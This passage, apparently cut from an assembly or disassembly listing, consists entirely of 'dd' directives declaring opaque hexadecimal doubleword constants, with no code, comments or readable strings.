5065D3ECh dd 6F06657h, 163B409Ah, 0BF9C0A78h, 2110D7EFh, 0F92C0B05h dd 93001983h, 21DDB211h, 0A0F2D326h, 0E6D5CC66h, 0D474F45Dh dd 0C8F0C9BBh, 38E7CF09h dd 0E7DA54Ch, 0E0522F1Ch, 0FB40766Bh, 0C44EF946h, 7F201C8Bh dd 57EA45B3h, 332609C7h, 0E1876613h, 4E4C66FCh, 0FCA675AAh dd 8A2ED47Ah, 3C5E2F14h, 9B1F32C6h, 0E80B0A99h, 1141CC87h dd 20C09263h, 0ED4ADA49h, 476E7AC5h, 1031724Bh, 5988A2F3h dd 0EF840D12h, 70B38CD0h, 41A74CFBh, 425D67EFh, 0EBC33538h dd 0F7C246C7h, 0CC442698h, 5606362Fh, 0FEF5115Ah, 38A7EE14h dd 0EA3458E8h, 6195BDAh, 4228A130h, 0B18A850Ch, 2B4DE955h dd 68D135E6h, 0CC96A89Ah, 308CA48Eh, 41A468DBh, 6693DE41h dd 55548E93h, 0AADE66E9h, 364332F4h, 3F9935E2h, 0F9809278h dd 0B42707E4h, 100023EBh, 0DAF401h, 44C2496Eh, 0BFC90469h dd 6A3414EDh, 1D9D6C64h, 3820834Bh, 0A954FD92h, 4895D4CCh dd 0C23D686Eh, 0F2DA0897h, 3505C9ECh, 0FF59745Fh, 26F15512h dd 0D958A6CDh, 72C720E8h, 3AD173C6h, 8D1ACDD7h, 0FF8801EBh dd 943A4D06h, 0CF5DEE3Ch, 61E3E89Fh, 6B8D06Bh, 4B6F2F25h dd 0A21227E2h, 4AFC397h, 0C1B7471Dh, 8258F68Fh, 0EBD99ECh dd 0E90B90D2h, 513B5025h, 0B79AE3D0h, 0AAC10110h, 22BA2255h dd 92F3CA8Ah, 5E9E0E2Fh, 8C3558AAh, 7997C916h, 2B54D2D2h dd 8E7F42A9h, 0A90E404Dh, 4B1316Eh, 521D0778h, 0A2CF34D9h dd 0A37E4F88h, 0ECB1040Ch, 0DFA82E4Bh, 3F8D6552h, 4F9A4284h dd 2825A4ABh, 0D1EE5094h, 704BC9A8h, 98BF33F9h, 0E037426Ah dd 0B123725Dh, 2D2F7CBDh, 9D15CDA4h, 1387F158h, 0D8075454h dd 0DD8922C7h, 0C0A43D5Dh, 0BF00BEBFh, 0C5F5BE2Dh, 8DD7AD49h dd 1F10FA66h, 0E9B63E26h, 0F6B33C26h, 405BC246h, 5177841Ah dd 3C6D237Ah, 1C4ADD32h, 0EE04AC3Dh, 2661772Bh, 96037F47h dd 89E0A405h, 0D1AB330Bh, 5205FE47h, 9D151406h, 2A178794h dd 9F4DB6FEh, 627B3513h, 470938BCh, 9CB350C2h, 0A318EDE6h dd 2D27F711h, 519A297Fh, 0AE5C8E90h, 6C94919Eh, 0B0F2D88Bh dd 3E0D58D0h, 0A3FE4E7Ah, 9BFB20B4h, 603387B8h, 0D615A96h dd 0EA066C68h, 0BA976354h, 0F7A6C4CCh, 111563AEh, 0F5312754h dd 10B6E755h, 0C0142C67h, 0C94B5210h, 0A4D1AE71h, 4F7E43DDh dd 7DC7667Ch, 338655ACh, 9FF9AC9Ah, 2A3717BBh, 0D0E17BDh dd 138EB62h, 0BCAD51A1h, 35DA7F7Fh, 0FF743D2Ch, 7464A415h dd 98350F43h, 0AE22BFC9h, 540EF63Bh, 0DA8392E2h, 47C7AB79h dd 0BF655B2Dh, 0F7206DEBh, 4A309893h, 5F068383h, 0B4C9929h dd 0ABABDF8Bh, 0F5CFAEFDh, 52E7AEDCh, 0D9976CEh, 0D916AFC4h dd 18B2DB2Dh, 80D51EA4h, 0EE24B5F8h, 2D53D0F2h, 96201BA1h dd 6EBE9361h, 0ECBA667Bh, 0EC35A061h, 0F3F85A0Ah, 0D4A54A01h dd 2C8A010Dh, 3CECFF1Fh, 7DBEFE52h, 321EE6B7h, 4FDFFDB2h dd 7097A3D9h, 54040EDDh, 2061ADAEh, 57E63550h, 0EBAEC5D1h dd 0DA9B6309h, 0D7CD70B9h, 8DC2AD24h, 5859482Bh, 604B5D44h dd 0AD060D26h, 0D32BCABh, 35F95D6h, 730C7153h, 0A4310972h dd 0B5B21A08h, 0B4B2A1CDh, 0D8852060h, 7752EB8Bh, 0B3E45ADCh dd 0C3E06D9Dh, 0C2893E1Ah, 489F1DF3h, 3990EF03h, 1725503Ah dd 3064F43Ch, 96F84F8Dh, 0BBCB46D2h, 0D0DF061Fh, 0D6B6BCC1h dd 17B8DCFAh, 0E51BF8E3h, 0EB827CD1h, 332444ACh, 0CA7E6ECFh dd 5836D35Eh, 10BE5F96h, 0B4169B15h, 7834BD57h, 0DEE8C073h dd 0BB45FAC9h, 98874E0Ah, 0FF5DE088h, 44FE43D6h, 9E66EB42h dd 0E3A176CEh, 12DB2FAFh, 689D5FCDh, 62704CC3h, 0CD47A50Ah dd 38D6274h, 0F1D25B23h, 8740C0E7h, 965EB5D3h, 57707103h dd 0DDAF34D7h, 0FF138F08h, 38C530Ch, 0E32CFF70h, 2159E60Fh dd 363B3BADh, 0F8142DCBh, 620F3213h, 0CA4393D8h, 4BDB82EBh dd 57562D1Ah, 1303B90Ah, 0C0D2FAA0h, 0C0347477h, 4E056CB9h dd 16015B53h, 0FEACFD97h, 112CA389h, 0C46FB267h, 0AA18C0A9h dd 82000FEFh, 6BAE5429h, 2605BA5Eh, 0E470CE64h, 0E2A39D0Ah dd 8DF1E6Eh, 0F5188FE5h, 194D868Bh, 0DE3FE706h, 2BA9AC6Ch dd 5C278CEEh, 3B24A6B1h, 0FBE4BD51h, 90AA6988h, 77203BE2h dd 0F3C706A8h, 5F30D53Ah, 0EBE9C78Eh, 54987C26h, 4CAE6716h dd 145C00E5h, 0D964574h, 65E0E410h, 0C34BDC1Ah, 0CFB1371Eh dd 40987071h, 72199094h, 9BEA6EBCh, 61CCBCC6h, 8F5ED683h dd 301DE7CFh, 0B795E600h, 0D4425072h, 2AA4AD33h, 842E70CEh dd 0B2F86743h, 0A7B68B92h, 95E78956h, 0D86AEAE6h, 0DD0DE37Ah dd 0AC8D49B8h, 318F3149h, 0D0F556B1h, 0F5F9C6D5h, 8E4A62D7h dd 42E95543h, 7C97CF69h, 44274A4Eh, 8F9DCA20h, 0F595E758h dd 6F2765Ah, 0D9999717h, 769C8DEEh, 0A5C0C68h, 0E847E12Dh dd 40B2E682h, 6C20433Eh, 0BC7BAE10h, 113FC824h, 4C462EA7h dd 8A6B8C5Bh, 0CB3C5DE6h, 0E5C43942h, 4A312953h, 56507F65h dd 874D8C77h, 0DE441A08h, 355260DCh, 4334775h, 0EEBDC3ACh dd 0B2AFA15Ah, 6D6E0D4Dh, 63F5A531h, 14A3AEBAh, 4DEF26E9h dd 0D2B195FAh, 18238750h, 7521C074h, 70D18897h, 0B2347844h dd 5A845D32h, 8239A63Eh, 6A1B9CECh, 0DB09972Ah, 27AB261Ah dd 87377E61h, 356B358Fh, 6C5CCF58h, 0A8F6D11Fh, 0F44ECAFFh dd 9B4A3E6Bh, 0EFE2DD7Dh, 51A2E73Eh, 0EB2A5AF3h, 47DDBDBEh dd 0ED66D9AEh, 356AE3Fh, 0B37E916Fh, 0DBDB8137h, 809B20A8h dd 0F5D28281h, 4A1FCFF5h, 4A0BEA73h, 0AD7D75C0h, 94AB3761h dd 382622B0h, 0D4F47996h, 0AEC1FFF1h, 9D5A4D07h, 0B161525h dd 93E4695h, 88B46B4Dh, 0D9E3D7CCh, 556248A9h, 4B83FB8Ch dd 43E15347h, 0FE17648Bh, 0AF39F34Bh, 6E6A4CE6h, 873A8E6Bh dd 8AC7A4A6h, 0F68073E1h, 0BE17C5FDh, 150FFED0h, 510B6151h dd 51DAC1CEh, 0B221BEE6h, 665A2F9Eh, 61F70B5h, 5BE00D1Ch dd 0E5B4C094h, 2AFCB4C3h, 4ACE2BD1h, 310C83EDh, 3F23BC65h dd 96913DCCh, 0B87A5ABDh, 78F25A84h, 0D1B5484Fh, 0A6053112h dd 8A17B63Ah, 0DD146DC7h, 9CC41709h, 5178A89Eh, 0FD7AB82Bh dd 0EF47F92Fh, 7B890388h, 0E9B81A92h, 3E986B77h, 0AE3D4A3Eh dd 3AD1C126h, 658AF9DCh, 0FAFB85DFh, 6DF0A3A0h, 1E36E227h dd 0B0C6D3FCh, 1B1E421h, 0CCD8B6FCh, 0D34CF0ACh, 7FA6A143h dd 0F2655841h, 56D09E8Eh, 0FD0EF7A2h, 0DFE99574h, 0F4C5CBFDh dd 83EC490Eh, 0D72BEA92h, 0FD84E88Fh, 0A942CF48h, 0CB1B90E4h dd 0A468CD83h, 0E318EA29h, 0CA9699A2h, 0D5D9A651h, 0F3A1A031h dd 81FB5334h, 942F44E3h, 5B6C73F4h, 945A72E8h, 0EAC8E53Bh dd 829D8B78h, 57554A35h, 0DD4D309Ah, 7BF48498h, 0A6DBA84Ah dd 7849DDDAh, 49D7264h, 0AF0E2CD8h, 43028DE8h, 0F03210DDh dd 2B1B6C89h, 775B2347h, 2E6D3856h, 1B2F5DC3h, 0B6DC74D0h dd 63CF5D14h, 9E9BE0F7h, 0D03CAB2Dh, 9204D44Eh, 42D7460Eh dd 295E2454h, 72A7A337h, 37DBF5C6h, 0E9C7F6E0h, 0F1BE2B28h dd 205CDF73h, 0D316E17h, 6F968EA9h, 6350A76Ah, 0CA576349h dd 3EB242DFh, 3DAE7536h, 13E96C54h, 0B94C6F17h, 3D733967h dd 0F1E2252Ch, 757E8159h, 0E115F45Dh, 0FE2BAE8h, 0FA720EF4h dd 944E79DCh, 0C50175F0h, 281C2CD5h, 457022C6h, 0F72E6885h dd 0A700B0FBh, 88FC466Eh, 0BDE966E5h, 0DBA2021Ah, 0AF0CEB4Dh dd 0E54A9D52h, 0CA5ED65Dh, 4DA69650h, 7C264D54h, 3A8E132Dh dd 8D5D38FBh, 1AE00259h, 9BC38E0Dh, 7043DE45h, 1A17D1E7h dd 74413F28h, 7CE45B1Fh, 739FC86h, 471F9679h, 659D8CE6h dd 4430D162h, 0FC400F8Bh dd 0D3C4B0A0h, 0DB2A5CF3h, 9CE75B93h, 0BD92C385h, 0F056A07h dd 3B3635ACh, 0BA59D70Dh, 0ED9FAB20h, 30CE9B1Bh, 77461379h dd 0B38395E0h, 67F45AE0h, 34D8BD9Ch, 0D2A279F3h, 46F2E92Bh dd 0A9FB1C9Bh, 0EC81C389h, 10C2AEE4h, 950B672Ch, 48364A1Bh dd 5568516h, 9B687CEFh, 93AE62F3h, 0FEBFE2AAh, 309904FFh dd 76D5D16Ch, 0DDE2F8Bh, 3D06B924h, 1C710B96h, 0B2F03C40h dd 7F6F0327h, 962F8EBh, 14566A3h, 68FFCEFAh, 0AB84ACE0h dd 773912BEh, 55994895h, 9C4A8039h, 0CBCF045Eh, 2A8249DDh dd 8CDD0CDEh, 0F51DE061h, 0B3FAB370h, 22270AEh, 67DA5FD1h dd 50C1D9A8h, 71B2D92Ch, 637C6F33h, 0E0B20AF1h, 5A3D8009h dd 0BF37B243h, 74A047C0h, 42CC9331h, 0C89958D4h, 8333E236h dd 0AFCCD959h, 54A504C0h, 64B73C07h, 0CAF95E16h, 1250D772h dd 6DA39644h, 0A6467350h, 0E5855FB9h, 10DF8972h, 4B57961Ch dd 339E1186h, 0A322C84Ch, 2BB0A916h, 6384C0B6h, 2E109B76h dd 0ED68BE65h, 0F063B706h, 0F0347CF8h, 0AE593F2Ch, 0E30133DCh dd 918A4964h, 0D48B5C8Ch, 9ADA07BCh, 36A3DC1Ch, 7A742A5Eh dd 0ED2E145Ch, 0EA7C8471h, 41DE2688h, 0A92041BDh, 21F1CC5h dd 55E1911Ah, 0A903734Fh, 9175A9ADh, 0C951CBD3h, 0FA784323h dd 0B5981032h, 75D70483h, 24F477Bh, 6AC1E74Ch, 8FC13BDBh dd 30586E21h, 0C49DCE25h, 0EFEABD4Fh, 56176CCh, 98462AA8h dd 0F4389B5Fh, 0C2122BBBh, 2DCA4FCEh, 1A495649h, 0E07987A2h dd 0A21FF840h, 9D4B317Ah, 0C5BB2C10h, 1CDA4708h, 0D1B98FE7h dd 42933EEh, 9D7C31E1h, 0E431263h, 2C3F8909h, 3C96770Eh dd 0FBE720D3h, 3434F2A7h, 0DFBFEAF2h, 0DE1E45F8h, 0E2CE3309h dd 23840E5Ch, 0D91C0EB3h, 5F3B2C83h, 0F8B690F5h, 0D38FCDCh dd 3A7534F1h, 895B518Ch, 5A4D4050h, 9C9B6926h, 555DF759h dd 0A1A0E78Dh, 0A8949709h, 0E8B2FDCh, 7DB72974h, 0F6F71CC2h dd 171F5B86h, 42103858h, 0CA80FBD2h, 0FBD141FCh, 4CF28737h dd 0F090B39Bh, 25DDC95Eh, 0AE03D90h, 0FEF72FA2h, 9AAC0038h dd 0A357C8Dh, 0BD287D23h, 5D5BEEC7h, 497E6012h, 0B0DC77D9h dd 9B5470F0h, 1A9C5752h, 0FD2BF665h, 386B6D6Ah, 45D79898h dd 0FBABA7Ch, 92C5AB5Dh, 302FB18Bh, 0CB35EE6Ch, 19820174h dd 0AE67868Fh, 58882CA6h, 0AD883B0Fh, 1B265A04h, 928A3F5Bh dd 945291E8h, 7E7D01Bh, 474A604Fh, 141C77ACh, 726E4270h dd 0B5ADADCBh, 0E57203E2h, 5F382C3Ah, 0D4DD93FBh, 0BE34D14Eh dd 0AF28C0Dh, 1DCB3D73h, 6FB6C2Dh, 4099BB40h, 0F7C01604h dd 5046CE41h, 0C95D7562h, 0A68CCCF7h, 0F9B4197Fh, 39071737h dd 9B2B562Eh, 0ECA119BBh, 2DF531EDh, 11E7ADECh, 793DF5Bh dd 57BB0643h, 1BD39139h, 91752FCEh, 92D1F381h, 4E446258h dd 0EA516A73h, 0D0E2DCB0h, 57815E82h, 0A7823CDBh, 8103A0h dd 0B7575926h, 0C9520EFAh, 857AB6F0h, 23BBC05Ah, 0FEC76DC7h dd 0ACCC5B03h, 0F4BCD5DBh, 8B8C2DBh, 87B1A823h, 0A94F959Fh dd 81DC9878h, 0D6DEE401h, 0A07D309Dh, 21D02BC7h, 9DB79A84h dd 0ECA9F1E0h, 1E320F9Eh, 6E44506Fh, 668C8CD9h, 8BF48787h dd 9C793D24h, 0B5F7C2h, 0A47230F4h, 3D733196h, 652D792Ah dd 943CE2BEh, 88238FD9h, 381740CEh, 8CA43CBDh, 0FD7A10A9h dd 542D828Ch, 285C0C5Dh, 43F0FAA0h, 0CE4484A0h, 13E3400Dh dd 701D202Ch, 0ED02C8Eh, 53D227E8h, 0DE0C09F9h, 0E953BC8Ah dd 0D9B5732Fh, 0F74B19DCh, 0DED1DEC3h, 18E3EE86h, 3A6499C5h dd 21E061B8h, 76830728h, 26ED2994h, 99ACA5A0h, 8EE72B5Ch dd 2FB70D6h, 2549DBA1h, 9B303D9Bh, 0C6B53653h, 0A6E1C235h dd 5A205D99h, 4AB3555Dh, 61819971h, 6DE01C5h, 0D2671C14h dd 0CD4AD835h, 4C8BD87Dh, 7C974D70h, 3EB97FC2h, 8B8886C4h dd 6EE3E265h, 0B4E2680Bh, 0DF72BEB1h, 366DD572h, 0FCDACD0Dh dd 154ADF0Dh, 1E6F9673h, 4CE1201Ch, 4BB652B4h, 696FB553h dd 8E093A28h, 0A76DD8E8h, 4E143A6h, 8578C3DEh, 0D16DE775h dd 59D7ABC9h, 5DDB0E4Bh, 0CB8AD338h, 9E0439F4h, 0EE29553Bh dd 0EFFE1241h, 0EB05FF9Bh, 0C86586DDh, 0A8EB9D19h, 66284488h dd 4B116954h, 704863A5h, 18405853h, 0F54F47A9h, 364C0B23h dd 5B491D4Bh, 128C3F51h, 9BFE0A0Bh, 24B8C105h, 5D389DABh dd 0A68AAAF3h, 409C28F4h, 94EB691h, 965B5F57h, 0A8A3030Dh dd 4DAA1B15h, 0F4A01F2Fh, 0F5840DFh, 9A318252h, 0EB16EAFFh dd 0C794528Fh, 0D267A796h, 0E74001FDh, 0D4F5A607h, 4C19968Ah dd 4EE64F19h, 0AE67C07Ah, 404116C7h, 0A9C8791Fh, 0FA351BFBh dd 97342335h, 0C0BD780Bh, 0F6BAAD0Fh, 6A464879h, 2177AE73h dd 0AD80FB07h, 0F936A161h, 5AF8F887h, 0E44D16C4h, 9A664565h dd 0B60221B8h, 0A8E4C526h, 0EB5AC16Bh, 0DBEF9EAFh, 0DE6E662Fh dd 2437F702h, 0AA92B8CCh, 0E1ADDB8Ch, 53F9A60Fh, 5DEED51Fh dd 0D3464A3Dh, 3EE7C20Ah, 4924C78Dh, 0BF2D3022h, 248633F0h dd 0FBE7D3B4h, 0F4B92C96h, 958EEA2Bh, 3E963B79h, 6BF820E6h dd 0F8ACA2AFh, 3AAA6B65h, 582056A3h, 2100BED0h, 9EBA51F3h dd 0C2786704h, 404253CEh, 0FB3E46BFh, 871DBF59h, 58EBF0BFh dd 0B6B7B07Fh, 0CE612405h, 4DED3E71h, 298DC0B3h, 3359AFC2h dd 78C0EF56h, 61D5033Ch, 0C34E04AFh, 4519A82Eh, 0A0BBD41Dh dd 0EF37A685h, 2E3EFCDAh, 95B32516h, 79E884D0h, 26EE781Ch dd 0C362EA5Ch, 723BAE68h, 1872D220h, 0B0A9D8C8h, 94A1E123h dd 0D5D27CC5h, 0B0AAD70Ch, 0EE10F9E0h, 42D58D9Ah, 0EE4144FCh dd 9475B3A6h, 1FD9E066h, 30430820h, 0C3294847h, 2F5AA511h dd 2043549Bh, 95373B96h, 0AF488101h, 9F2C964Dh, 1D887913h dd 5A471EC2h, 8614628Fh, 83E94CF6h, 448BE3CFh, 3D90AE89h dd 32136BEFh, 23907525h, 2DCE1CB4h, 8729CE28h, 0DF7ADE64h dd 0BFCEC7CDh, 258B66A3h, 0DA875062h, 54B0C643h, 0D4F4BE81h dd 0C79EA6C7h, 8C2430B0h, 6F44FC1Ah, 98422314h, 0DDE4C0C7h dd 9F45E213h, 11EE03BAh, 0D979D05Bh, 3B5005F0h, 16D0B16Fh dd 0CBD0F432h, 4FC105F7h, 2C9D8536h, 0F4C75CD3h, 0B83B0B9Ch dd 5617601Dh, 0EDCC3E7Fh, 0AA34F57Ah, 7AFB4C1h, 0E18AB47Ah dd 0DA0D7171h, 0E2A7616Dh, 1CA7A48Dh, 0E54539EAh, 806BC2D1h dd 0E5B6B2E4h, 0F386C0E0h, 0FB5A0E11h, 0D23043C2h, 0B32A12Ch dd 2E6418ACh, 0DF49721Eh, 270B9BE1h, 69798014h, 40E80624h dd 600C55C2h, 3CA94752h, 820168E2h, 9107E8ABh, 71566F5Fh dd 79661F8Dh, 44612846h, 0F88C9EA3h, 564EA944h, 1DDC869Eh dd 0C2EBDEF6h, 56CB2AD3h, 0EC236EFAh, 0A378F9EBh, 0CB422593h dd 7F9779E7h, 0E8445DBCh, 0A67C83D6h, 0A2D56017h, 18BD57B4h dd 0ED88C52Eh, 748A73E6h, 23CB9F22h, 0B15DB64Ah, 0C025CF4Dh dd 0ADD61EA9h, 83DF12CCh, 1A7C7C2Dh, 0FCCE10A2h, 0B7078721h dd 6E3365DBh, 0A22FB30Ch, 39DEA640h, 0FB1DCD2Dh, 0F8FB1537h dd 0A1F1CE66h, 38B903DFh, 5D5349E7h, 8C86C53Ah, 49EE4634h dd 0F81E568h, 0BBBBEE09h, 3A472221h, 7ADAD2F4h, 0C79E2603h dd 0B868105Dh, 3D27F0FBh, 330F5F7Ch, 0AAF4D180h, 0FC7FA177h dd 0CA88F20Dh, 0B0C22E16h, 8786EEA4h, 17F1998h, 0C1BE13C8h dd 0BB7BA17Eh, 0E6BDDA41h, 923558AAh, 54B858D6h, 0D8EC2B73h dd 7033951Fh, 9F3E6F36h, 0D67E8CD3h, 0CB80D523h, 64196C28h dd 8182DB77h, 4C551D04h dd 945EFB6Dh, 8C2F226Ah, 49C8D2A8h, 43D99EA1h, 6D6A1D7Ah dd 12F40D6Bh, 96D45040h, 7B86C343h, 61E834C4h, 5C53ABBBh dd 8A1D2AF0h, 0CFC17360h, 61488BC3h, 0A7DE8FBFh, 0E4217C80h dd 0BC3B85A0h, 5EC5FBC3h, 0B613922Fh, 62DAC6Bh, 24709D82h dd 90D57FA8h, 0E8BAADA9h, 0F0AEA00Fh, 2DEB34D2h, 0FA740CF1h dd 9C7A82AEh, 166B599h, 7BBD2383h, 2FFEF623h, 0EA51983Eh dd 0B5284851h, 0B137F7F9h, 81B56DB0h, 0A75C2D35h, 0D571BBC0h dd 4560219Ch, 0AC34A455h, 38AA78E8h, 4466F7AFh, 0B9D322CBh dd 160D57AAh, 0E1667119h, 0EF6DB55Eh, 0FB751CEEh, 41A4B49Eh dd 83AFE0D3h, 557B2290h, 0BB12255Eh, 0B62A3E6Ch, 8FEC5F36h dd 0DEBC9625h, 67C6224Eh, 0A1433320h, 8B187C99h, 0F96E028Dh dd 0C99EA495h, 0C8DC0DD7h, 8CEB7BACh, 0BE614696h, 0AAB7C198h dd 3E1348C7h, 6842918Ch, 0EAB648AEh, 5A3F56E0h, 0AAB8BE57h dd 5B0BB9A9h, 7B13166h, 7FBA0FFEh, 0DE11CAA6h, 84BA7940h dd 0ACFC6649h, 0AFF6684Bh, 2488FF0Dh, 7A3405Ch, 884E81B1h dd 824573F1h, 25632677h, 75572088h, 508693FAh, 335DE924h dd 9AE50090h, 0E83F4049h, 948B42C1h, 697CBCD0h, 478EC9E6h dd 724B9C52h, 1A9B73E6h, 0DCE13724h, 899B1146h, 0F462420h dd 3000C04Ch, 0BEBE2960h, 0D4CB1786h, 0D002D84Dh, 6ED50FF2h dd 0CBBEF947h, 0A97A9623h, 19DFEE10h, 9DE8795Ch, 90A78522h dd 0C7299183h, 435F14B0h, 6130702h, 978354C2h, 65789EF2h dd 8C334EFCh, 5E234631h, 0F2053FECh, 3473FDE3h, 12BEF6C5h dd 34CDFBE4h, 5D770D2Ah, 0F8C1017Ch, 891C19C1h, 798CE726h dd 44FCA776h, 0DC35E659h, 0F10E1373h, 598E251Dh, 4279D576h dd 0F6EA2B67h, 0EC884121h, 38F80DD1h, 50BADE2Bh, 1E1E27E1h dd 0EE3606E1h, 6C60B6CCh, 0F56794E5h, 68E96348h, 0CB78B283h dd 4B92E400h, 0FBDD756h, 5B1E766Ah, 93F18EEFh, 0CBC5CDBCh dd 6775B5F4h, 3B1042A7h, 2229D6D1h, 1C2D0907h, 98DD00A7h dd 77CAE76Eh, 613CC649h, 8508A601h, 0E8D7A759h, 0DC295797h dd 0D1FBDD32h, 42A0BBB1h, 0D8A56CD3h, 47F703CFh, 0D70627F6h dd 0A8B16341h, 47AB8ECCh, 3BB7D4F1h, 14D780AAh, 17902E6Ch dd 9A8E16D3h, 0FFE54642h, 0E9CEBF13h, 4B8C6C4Eh, 0B70C1D4Bh dd 62849363h, 4DA48B7Eh, 0E31EF680h, 0E9D4D685h, 799E239Bh dd 436C9916h, 1B33540Ah, 764873B0h, 0B1687095h, 60332DF0h dd 0D1FDB2B4h, 5EA4F117h, 0E5BCC7E0h, 2E545ED7h, 1049F29Ah dd 0F7336F76h, 0DB12AABCh, 30BE931Bh, 0ED4AAA5Eh, 8D63509Dh dd 6C68E52Ch, 46A52A9Ch, 0DB3FF842h, 79BDFD8Ah, 1DA7B14Dh dd 617A6C61h, 9D64A5FAh, 117C1F1Dh, 6C8C6930h, 0DF4BB9F5h dd 3735FDC6h, 2E33CAAh, 0C405D1E6h, 80DEC67Fh, 0FBEC3EF8h dd 6F06E19Bh, 8D8D54A5h, 0BB41B003h, 0AE6D4461h, 4C3D8CD0h dd 0EE0B1107h, 72A2420Dh, 938CC03Dh, 0A751A15Eh, 0A7260A3Ah dd 8D7EAE09h, 312E23D0h, 0A4AE4D26h, 0AF1A05B9h, 0FA93DB7Eh dd 0FFF32031h, 26FD4D0Dh, 510F47ACh, 2CED62C0h, 0E950405Bh dd 0B4EAF0C0h, 0A2393916h, 7F5995C3h, 0C07F3C1Fh, 8A330CDh dd 7850D2D9h, 9DFF92D7h, 4081279Ch, 171D5772h, 82AE2227h dd 52566C24h, 4C8F4700h, 182B944Fh, 2F64DE5Dh, 508FE7A3h dd 0D67A3E22h, 46D84464h, 99F3CD27h, 0D6C5B33Eh, 9EDC3861h dd 5A86615Ah, 0C73FE5D6h, 574B4965h, 90A54123h, 5D03A21Dh dd 0B5C7CFCEh, 6936ABD7h, 2B68ED16h, 0AA3C8AB3h, 0D12A1BDBh dd 0D732280Bh, 81C0AE26h, 0C65E4A1Fh, 5A69646Bh, 0CBFAC0B1h dd 4F4231A9h, 0CCDBD41Eh, 0DBFE516Bh, 211BBA4Fh, 9B890D1Bh dd 0A5BDB424h, 7D43A3FDh, 966501B9h, 0D8B6A5Ah, 0E104AED4h dd 332C9613h, 0FEBC6B7Ah, 0A638CAC1h, 0A2B6FA49h, 23C84DECh dd 14343B0Fh, 0E0E4A8Ch, 73321FAFh, 79ED5D7Bh, 8018E5EEh dd 0F6076296h, 6EBE4C56h, 5AFC535Fh, 83B09696h, 0ED7C8595h dd 0C85CEBC7h, 501CEE30h, 4518DEBBh, 27BABB4Ch, 0EEA09F08h dd 0E23A627Bh, 633506C1h, 0D711BB32h, 7D7FF798h, 12F604A7h dd 0C1AC22F0h, 427B05D7h, 9A85FBEFh, 0D3344DF3h, 0DA1F08A5h dd 0BA2DEEB1h, 7E06D63Ch, 0AC6E18DAh, 25490F0Bh, 6C3B9688h dd 0C2C11E15h, 69036FAEh, 0FBAD9DEh, 0F5E3F892h, 0BD5E7B0Dh dd 0A6A83888h, 5AFB165Ch, 64A7D4Dh, 5D52C929h, 0C06C15BDh dd 0A8BECD87h, 0AEBAFEEDh, 0CE76D1C7h, 8603A422h, 0CBD3656h dd 5DE5753Dh, 506F14CCh, 8F317745h, 1827B699h, 2E808432h dd 0D57E21B9h, 0C564CAB4h, 0DF6117CAh, 0D4E2FA3Ah, 1F4E5B02h dd 0BB38B6BCh, 0C14C02FCh, 7BF38633h, 95A484DDh, 3900F0ACh dd 0DF71C100h, 1E38B4B7h, 0BB5D95h, 0D300F816h, 3C99C87Eh dd 64783F9Ah, 0D9DDF881h, 0A0B99F1Bh, 58586A83h, 4DF1E645h dd 0D5E11845h, 0C0E2A139h, 0B0869D88h, 0E1691F0Ch, 6956E411h dd 1504ED82h, 8814D4E7h, 0D9D69409h, 0FB8AC635h, 0E2F59A4Eh dd 0F72759D3h, 42BEEC7Dh, 8C2271E0h, 6A57F99h, 0EF5CD64Bh dd 0CE96AF7Ch, 1D725731h, 0B782698h, 96108C4Eh, 7E7C38B4h dd 9BFCBF85h, 0A6767D1Fh, 58B1E1E9h, 0BCCAAF85h, 0AA92165Dh dd 0C01EAEC2h, 817C3B8Ah, 2058060Eh, 0E0E683C6h, 2A3BA6A8h dd 627892D5h, 385AF23Eh, 450F883Ch, 85284A31h, 0A15AD1A5h dd 8A9CA434h, 0DB9C8A3Dh, 0B3FBBA9h, 1C82BFDEh, 0C2D01E10h dd 2717656Fh, 0D90452EDh, 660D1D17h, 2325198Dh, 581166B6h dd 0DDFD1CD4h, 53E0A14Fh, 0BEEA010Ah, 42CD609Ch, 58C73F96h dd 0FEBB9A6Dh, 7C452847h, 0FB617753h, 815304A1h, 0B1B97835h dd 273BCCFFh, 0F492B88Eh, 228A5B31h, 0D834AF85h, 0D58E4A8Eh dd 29A60A7Ah, 4FE4CB1h, 0B2CF2BF5h, 8039DC1Bh, 0E81C435Ch dd 0E85076BFh, 0BE5F870Eh, 5FF65156h, 0F3259880h, 8AD9F0E7h dd 6435CB7Dh, 25623959h, 0FD2F49CCh, 9B9D879Dh, 0C63DFF52h dd 3F690C17h, 1E51529Dh, 0FF1F58C8h, 0B29EA9D5h, 7BFA77B8h dd 0BA31488Bh, 80F0B917h, 3854FCABh, 0FB7B645Dh, 14A2285Ah dd 3C521E2Bh, 9D50BB1Fh, 9C0FDE2Ch, 9BD6EC4Fh, 5F74F00Ah dd 77464303h, 63784CF7h, 6020B28Dh, 4801D20Eh, 0C8282C6Ah dd 0E03E0E53h, 0E8F99Ah, 0AFECDFB1h, 13D23B38h, 0DD610F45h dd 29539859h, 0FC28C386h, 0D19D22CBh, 0BA91216Ch, 0F9FD68D7h dd 7D15E8ACh, 6CFA39B4h, 0C626CD6Eh, 0E47481C8h, 1355AFFEh dd 0E2F8304Dh, 0FB09A81Ch, 0D1218E66h, 91D6C866h, 0E1B873B3h dd 2EF58AF4h, 0C7C69D89h, 0B8F3A412h, 1FB5E75Dh, 67313701h dd 6A2C097Ch, 14FE1B46h, 7ADB6369h, 0E4BA9CC8h, 30722A22h dd 0A4C1D58Bh, 89EE1BBFh, 0D664C3B3h, 0D8D65766h, 0D055DA21h dd 0CD35D5E4h, 7DC72E38h, 48DE8464h, 85A67294h, 0A2C7BD3Dh dd 312E8832h, 0C2F09FD5h, 0EAB39BA2h, 99A64A7Dh, 0BB8FC0B2h dd 0DB4D849h, 0F1D328A9h, 1ADC41BDh, 42AED373h, 8AADFD08h dd 45787781h, 19488D1Fh, 0DA9BD1B0h, 89CD3C92h, 3755BDDCh dd 2B25318Ah, 1852FF79h, 0E6991E0Eh, 2D1EF4BAh, 0FA9F0159h dd 203B52Ah, 47A1CB0Bh, 961EEE79h, 0E8F54361h, 0D1C73AAAh dd 0F4DEE384h, 8FF01ED7h, 5A004FF5h, 0F8C4E73Dh, 0F26E7AA0h dd 1E9D8DA4h, 563D336Fh, 10D71A2Dh, 4AF189F6h, 0CB927EC9h dd 452EFF8Ah, 329A4F1Dh, 4A7EC14Eh, 0B546724h, 0C1A9A601h dd 0FD26F1A4h, 5CC2C039h dd 0C999AE49h, 0A0C92273h, 96FFE04Ch, 7EDE86E3h, 0B61A0ABEh dd 2EF34EA1h, 133C7524h, 71F64950h, 9B5810FCh, 42B1A48Dh dd 7582F265h, 0A5A79C98h, 93546D16h, 0DDCCF3EEh, 0E61B16D4h dd 